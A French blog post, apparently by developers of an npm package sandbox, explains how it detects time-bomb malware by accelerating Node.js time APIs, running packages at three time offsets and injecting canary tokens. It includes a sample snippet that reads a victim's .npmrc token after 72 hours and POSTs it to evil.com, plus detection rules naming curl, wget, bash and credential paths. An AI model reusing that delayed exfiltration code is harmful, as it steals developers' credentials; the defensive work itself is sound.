MITRE ATT&CK T1497.003 - Time Based Évasion Checks - est dans le top 10 des techniques d'évasion en 2026. L'idée est simple : le malware attend 72 heures avant de voler les credentials. Le sandbox Docker a un timeout de 120 secondes. Le payload ne s'exécute jamais pendant l'analyse.
La solution : on accélère le temps.
Le problème
Un malware classique fait ceci :
// Attendre 3 jours apres l'installation
setTimeout(() => {
const token = fs.readFileSync(
path.join(os.homedir(), '.npmrc'), 'utf8'
);
fetch('https://evil.com/collect', {
method: 'POST',
body: token
});
}, 72 * 3600 * 1000); // 72 heures
Le sandbox exécute le package pendant 120 secondes. Le setTimeout de 72h ne se déclenche jamais. Le sandbox conclut : aucun comportement suspect. Package clean.
C'est exactement ce que les attaquants veulent.
La solution : monkey-patching via preload
Le container Docker injecte un script preload via NODE_OPTIONS=--require /opt/preload.js. Ce script patche toutes les APIs de temps avant que le code du package s'exécute :
// Sauvegarder les originaux dans une closure inaccessible
const _origDateNow = Date.now;
const _origSetTimeout = setTimeout;
const _origSetInterval = setInterval;
// Offset de temps (configurable par run)
let timeOffset = 0; // Run 1: 0h, Run 2: +72h, Run 3: +7j
// Patcher Date.now() et new Date()
Date.now = () => _origDateNow.call(Date) + timeOffset;
const _OrigDate = Date;
globalThis.Date = function(...args) {
if (args.length === 0) return new _OrigDate(_origDateNow() + timeOffset);
return new _OrigDate(...args);
};
// Accelerer les timers
globalThis.setTimeout = (fn, delay, ...args) => {
if (delay > 3600000) { // > 1h
log({ type: 'suspicious_timer', delay });
return _origSetTimeout(fn, 0, ...args); // Execution immediate
}
return _origSetTimeout(fn, delay, ...args);
};
Les APIs patchées de manière cohérente :
Date.now()- retourne le temps réel + offsetnew Date()sans argument - date décaléeperformance.now(),process.hrtime(),process.uptime()- tous synchroniséssetTimeout(fn, 72h)→setTimeout(fn, 0)- exécution immédiatesetInterval(fn, delay)→ première exécution immédiate
Multi-run : 3 points dans le temps
Un seul offset ne suffit pas. Certains malwares attendent 3 jours, d'autres 1 semaine, d'autres vérifient la date de première installation. Le sandbox exécute le package 3 fois :
| Run | Offset | Cible |
|---|---|---|
| Run 1 | 0h | Baseline - comportement immédiat |
| Run 2 | +72h | Time-bombs 3 jours |
| Run 3 | +7 jours | Time-bombs 1 semaine |
Sortie anticipée si le score dépasse 80 (CRITICAL détecté). Le meilleur score des 3 runs est retenu.
Interception des APIs sensibles
En plus de l'accélération du temps, le preload intercepte toutes les APIs sensibles pour logging comportemental :
- Réseau :
http.request,https.request,fetch,dns.resolve,net.connect - Fichiers :
readFileSync/writeFileSyncavec détection de chemins sensibles (.npmrc,.ssh,.aws) - Processus :
exec/spawnavec détection de commandes dangereuses (curl,wget,bash) - Environnement : Proxy sur
process.envpour logger l'accès aux variables TOKEN/SECRET/KEY
Tout est écrit dans /tmp/preload.log en JSON structurée, puis analysé par src/sandbox/analyzer.js.
6 nouvelles règles de détection
| Règle | Sévérité | Pattern |
|---|---|---|
| Timer delay > 1h | MEDIUM | setTimeout avec délai suspicieux |
| Timer delay > 24h | CRITICAL | Time-bomb probable |
| Lecture fichier sensible | HIGH | .npmrc, .ssh, .aws, .env via preload |
| Réseau après lecture sensible | CRITICAL | Composé : file read + network = exfiltration |
| Exécution commande dangereuse | HIGH | curl, wget, bash, powershell via preload |
| Accès env sensible | MEDIUM | TOKEN, SECRET, KEY, PASSWORD |
La règle composite "réseau après lecture sensible" est la plus puissante. Elle détecte la séquence exacte d'exfiltration : lire un fichier de credentials, puis envoyer les données sur le réseau. Score : +40 points - suffisant pour déclencher l'alerte à lui seul.
Canary tokens : les honeypots
Le sandbox injecte 6 faux secrets dans l'environnement :
GITHUB_TOKEN=ghp_canary_xxxxxxxxxxxx
NPM_TOKEN=npm_canary_xxxxxxxxxxxx
AWS_ACCESS_KEY_ID=AKIA_canary_xxxxxxx
AWS_SECRET_ACCESS_KEY=canary_xxxxxxx
SLACK_WEBHOOK_URL=https://hooks.slack.com/canary
DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/canary
Si le package tente d'exfiltrer ces tokens via HTTP, DNS, ou stdout, c'est la preuve directe de malveillance. L'exfiltration est recherchée dans 7 vecteurs : corps HTTP, requêtes DNS, URLs HTTP, connexions TLS, modifications filesystem, commandes processus, et sortie d'installation.
Sécurité du preload
- Tout est encapsulé dans une IIFE - le package cible ne peut pas accéder aux références originales
- Chaque patch est protégé par
try/catch- le preload ne peut jamais casser le package analysé NODE_OPTIONSest verrouillé viaObject.definePropertyaprès injection - empêche le bypass dans les processus enfants- L'injection est différée au point d'entrée du package, pas pendant
npm install- évite d'intercepter les appels réseau de npm lui-même
Résultats
| Métrique | Avant | Après |
|---|---|---|
| Règles sandbox | 8 | 14 (+6) |
| Tests | 1471 | 1522 (+51) |
| Détection time-bombs | impossible | 3 points dans le temps |
Leçon
Les malwares modernes ne s'exécutent pas immédiatement. Ils attendent que le scanner ait fini son analyse, que l'environnement CI/CD soit passé, que l'attention du développeur se soit relâchée. L'accélération du temps dans le sandbox transforme un setTimeout(fn, 72h) en setTimeout(fn, 0) - le malware croit que 3 jours se sont écoulés, et déclenche son payload pendant l'analyse.
Le monkey-patching cohérent est essentiel. Si Date.now() dit +72h mais que process.uptime() dit 2 secondes, un malware sophistiqué détecte l'inconsistance. Toutes les APIs de temps doivent raconter la même histoire.